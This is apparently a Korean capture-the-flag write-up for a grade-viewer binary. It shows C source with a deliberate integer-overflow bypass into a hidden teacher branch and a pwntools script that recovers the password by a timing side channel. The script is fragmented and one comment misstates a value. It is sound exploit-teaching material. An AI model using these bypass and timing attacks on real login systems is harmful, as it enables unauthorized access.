```c
void showGrade(int id) {
    switch ((short)id) {
        case 1: printf("Phineas: A+\n"); break;
        case 2: printf("Ferb: A\n"); break;
        case 3: printf("Candace: B+\n"); break;
        case 4: printf("Buford: C\n"); break;
        case 5: printf("Baljeet: A+\n"); break;
        case 6: printf("Isabella: A\n"); break;
        case 7: printf("Perry: P\n"); break;
        case 8: printf("Doofenshmirtz: D\n"); break;
        case 9: printf("Jeremy: B\n"); break;
        case 10: printf("Vanessa: A-\n"); break;
        case 0x0BEE:
            printf("\nAccessing teacher view...\n");
            authenticateTeacher();
            break;
        default:
            printf("Unknown student ID.\n");
    }
}

int main() {
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    int id;
    printf("Welcome to the Tri-State Grade Viewer\n");
    printf("Enter your student ID: ");

    if (scanf("%d", &id) != 1 || id > 10) {
        printf("Invalid student ID.\n");
        int ch;
        while ((ch = getchar()) != '\n' && ch != EOF);
        exit(0);
    }

    showGrade(id);
    return 0;
}
```

조건문을 통해 id값을 검사한다. showGrade함수에서 0xBEE를 실행시켜야하기 위해서 해당 조건문을 integer overflow를 통해 우회한다.(id = 2147486702) 정수형 범위 최댓값에서 3054를 더해준 값을 입력해주면된다.

```
29
30  void accessMemory() {
31      struct timespec ts = {.tv_sec = 0, .tv_nsec = 5000000};
32      nanosleep(&ts, NULL);
33  }
34
35  void authenticateTeacher() {
36      char input[MAX_LEN];
37      printf("\n[TEACHER VIEW] Enter your password [a-z, 0-9]:");
38      scanf("%31s", input);
39
40      for (int i = 0; i < strlen(SECRET); i++) {
41          accessMemory();
42          if (input[i] != SECRET[i]) break;
43          accessMemory();
44      }
45
46      if (strcmp(input, SECRET) == 0) {
47          printf("\nAccess granted.\n");
48          changeGrade();
49      } else {
50          printf("\nInvalid password!\n");
51      }
52  }
53
```

authenticateTeacher 함수에서 사용자 입력과 SECRET값이 일치하면 chagneGrade에서 FLAG를 출력시켜준다.

사용자 입력과 SECRET값을 한 문자씩 비교하는데, 일치하지 않은경우 5ms 일치한경우 10ms가 소요되는 것을 알 수 있다.

이 점을 활용해서 타이밍 사이드 채널 공격이 가능하다.

```
from pwn import *
import string
import time
```

```
context.binary = './gradeViewer'   # 바이너리 경로

# 사용할 문자 후보들 (문제에서 a-z, 0-9 허용)
charset = string.ascii_lowercase + string.digits

# short(0x0BEE) == 45278, 이 값으로 authenticateTeacher() 진입
TARGET_ID = '2147486702'

# 유추된 비밀번호 저장
found = ''

# 반복 길이 제한 (최대 32바이트)
MAX_LEN = 32

for i in range(MAX_LEN):
    max_time = 0
    next_char = ''
    print(f"[+] Finding character {i+1}...")

    for ch in charset:
        guess = found + ch

        # pwntools로 process 실행
        p = process('./gradeViewer')
```

```
try:
    # 입력 타이밍 측정
    p.sendlineafter("Enter your student ID: ", TARGET_ID)
    p.sendlineafter("Enter your password [a-z, 0-9]:", guess)

    start = time.time()
    out = p.recv(timeout=1)  # 1초 안에 받지 못하면 오류로 간주
    end = time.time()

    duration = end - start
    print(duration)
    if b"Access granted" in out:
        print(f"₩n[✅] SECRET found: {guess}")
        found = guess
        break

    # 가장 오래 걸린 값을 기록
    if duration > max_time:
        max_time = duration
        next_char = ch
        print("next char:", next_char)
except:
    pass
finally:
```

```
                p.close()

        else:
            found += next_char
            print(f"[+] Current guess: {found}")

        if len(found) >= MAX_LEN:
            break

# 최종 flag 추출 시도
print(f"₩n[*] Final password: {found}")
p = process('./gradeViewer')
p.sendlineafter("Enter your student ID: ", TARGET_ID)
p.sendlineafter("Enter your password [a-z, 0-9]:", found)
p.interactive()
```